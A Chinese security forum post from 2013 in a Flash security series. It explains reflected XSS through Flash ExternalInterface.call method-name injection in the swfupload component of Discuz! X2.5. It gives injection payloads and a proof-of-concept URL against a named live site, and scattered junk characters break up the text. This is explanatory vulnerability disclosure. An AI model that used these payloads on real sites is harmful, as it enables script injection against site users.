找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2031|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
5 N- X" T7 W' p( G. i: a+ S3 S4 H# G/ w: k' g2 u4 p) L
flash.external.ExternalInterface.call($methodName, $parameter)
- n$ J( B% Z% t( m6 h! _: J在浏览器中执行的是
+ a* K4 I" H# ~5 ^5 Q6 R
# P5 x3 d: {) ~! {, n0 qtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
# ]9 p2 l* ~& y% o对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
# Y3 F0 h: |; L" i+ r) z: b
& j& [- ^6 L/ G; Q2 e, ]8 Cflash.external.ExternalInterface.call("object."+$methodName, $parameter)6 Z* }0 Y! t! }9 x
$methodName = a())}catch(e){alert(/xss/)}//# m- O# x& x. h# O- x0 ]9 o
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
! G- z- c0 m4 z1 }% t4 v. N5 Q* r: f7 H
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }) y3 i( V4 F9 M: `, \3 ^% R

; B/ I& [+ E. v; S( i: }8 ?这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )% h. S8 d* l/ l( u
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
# S: g  B$ z% K) l/ p' r! q+ `( k  b

7 [6 i$ M9 Y$ t1 p# T' i# d9 p! l  r8 Z; T  N# s- ?$ B
漏洞文件:upload\static\image\common\swfupload.swf& ?* d# {* ]. V; S0 y

* |7 g! `" s; M6 _2 }原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf2 k+ f3 E7 k( ?! g9 i1 b

9 X4 Z5 m% P$ B( E6 J+ M* R) p+ J" y
) P1 D7 C; Z! L' W5 |, ]; J漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
3 b: C( x7 B: F8 E7 ~
5 J) q4 ^# M9 l' J- q% R: d0 I* Z& ?8 h# J1 p% T0 {# K5 B, Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表